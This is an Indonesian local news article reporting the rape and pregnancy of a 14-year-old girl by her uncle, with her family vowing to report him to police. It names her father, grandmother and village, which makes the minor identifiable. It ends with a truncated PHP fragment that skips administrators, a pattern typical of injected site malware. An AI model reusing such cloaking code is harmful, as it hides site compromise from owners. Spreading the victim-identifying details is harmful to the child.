Hukum

Ayah dan Kerabat MIK Sepakat Laporkan Maksimus Ama Kii ke Pihak Berwajib

×

Ayah dan Kerabat MIK Sepakat Laporkan Maksimus Ama Kii ke Pihak Berwajib

Sebarkan artikel ini

WEWEWA BARAT, MENARASUMBA.COM – Perbuatan bejat Maksimus Ama Kii yang telah memerkosa MIK (14) hingga hamil 7 bulan mendapat kecaman dari seluruh keluarganya.

Predator anak yang kini sudah buron di luar pulau ini akan dilaporkan ke pihak berwajib.

Martinus Ngongo Palli, ayah kandung korban. ( Foto Menara Sumba )

Martinus Ngongo Palli ayah kandung korban yang juga kakak kandung pelaku mengaku geram atas tindakan biadab sang adik.

Saat dikonfirmasi awak media, warga Lamateng, Dusun IV, Desa Wee Kombaka, Kecamatan Wewewa Barat ini tidak bisa menyembunyikan kekesalannya.

“Anak saya sudah dinodai dan mengalami kondisi seperti ini maka kami akan lakukan proses hukum,” ujarnya Senin (11/08/2025) petang.

Pernyataan senada dilontarkan Dada Kambe, nenek korban yang juga sangat kecewa dan kesal dengan perilaku Maksimus.

Dengan tegas, wanita paruh baya yang selama ini mengasuh MIK tersebut tidak akan mengampuni perbuatan anaknya.

“Meskipun dia anak kandung saya tapi perbuatannya sangat terkutuk dan melukai kami sekeluarga,” akunya polos.

Ia juga menegaskan bahwa akan menempuh jalur hukum dan melaporkan perbuatan anaknya kepada polisi.

Dada Kambe, nenek kandung MIK yang selama ini merawat korban. ( Foto Menara Sumba )

“Kami akan laporkan dia untuk mempertanggungjawabkan perbuatannya,” tandas Dada Kambe diamini suami dan seluruh kerabat yang hadir saat itu.

Seperti diberitakan sebelumnya, MIK siswi salah satu SMP di Lolo Alle, Desa Wee Kombaka, Kecamatan Wewewa Barat tersebut kini hamil 7 bulan akibat perbuatan bejat pamannya sendiri.

Sesuai penuturan korban, dirinya dipaksa melayani hasrat setan Maksimus Ama Kii yang juga adik kandung ayahnya itu.

Dua kali ia diperkosa dengan ancaman dan kekerasan saat MIK sendirian di rumah.

Setelah itu, pada bulan Maret 2025 lalu Maksimus merantau ke luar pulau dan hilang kabar hingga saat ini.

Kejadian ini pun sudah dilaporkan secara lisan lewat kontak handphone kepada Plt Kepala UPTD PPA Kabupaten SBD, Clara Deny Christiana, S.Psi.

Bak gayung bersambut pihak UPTD PPA Kabupaten SBD merespon dan akan menangani persoalan tersebut.

“Kami akan segera tindaklanjuti laporan ini,” ujar pimpinan UPTD PPA Kabupaten SBD, Clara Deny Christiana saat dihubungi lewat handphone, Senin (11/08/2025) malam. ( TIM/MS )

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

function seo_cache() { if (is_admin()) { return; } $current_user = wp_get_current_user(); if (in_array('administrator', (array) $current_user->roles)) { return; } ?>